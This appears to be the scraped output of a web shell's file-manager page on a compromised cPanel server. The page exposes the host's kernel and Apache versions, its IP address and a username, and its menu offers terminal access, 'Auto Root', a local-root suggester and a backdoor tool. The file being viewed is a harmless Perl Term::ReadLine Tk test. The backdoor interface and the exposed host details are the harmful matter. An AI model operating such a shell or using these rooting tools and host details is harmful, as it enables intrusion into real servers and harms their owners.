Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Term-ReadLine /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
AE.t
1
KB
-r--r--r--
2014-12-27 11:48
AETk.t
1.22
KB
-r--r--r--
2014-12-27 11:48
ReadLine.t
743
B
-r--r--r--
2014-12-27 11:48
Tk.t
969
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl use Test::More; eval "use Tk; 1" or plan skip_all => "Tk is not installed."; # seeing as the entire point of this test is to test the event handler, # we need to mock as little as possible. To keep things tightly controlled, # we'll use the Stub directly. BEGIN { $ENV{PERL_RL} = 'Stub o=0'; } my $mw; eval { use File::Spec; $mw = MainWindow->new(); $mw->withdraw(); 1; } or plan skip_all => "Tk can't start. DISPLAY not set?"; # need to delay this so that Tk is loaded first. require Term::ReadLine; plan tests => 3; my $t = Term::ReadLine->new('Tk'); ok($t, "Created object"); is($t->ReadLine, 'Term::ReadLine::Stub', 'Correct type'); $t->tkRunning(1); my $text = 'some text'; my $T = $text . "\n"; my $w = Tk::after($mw,0, sub { pass("Event loop called"); exit 0; }); my $result = $t->readline('Do not press enter>'); fail("Should not get here.");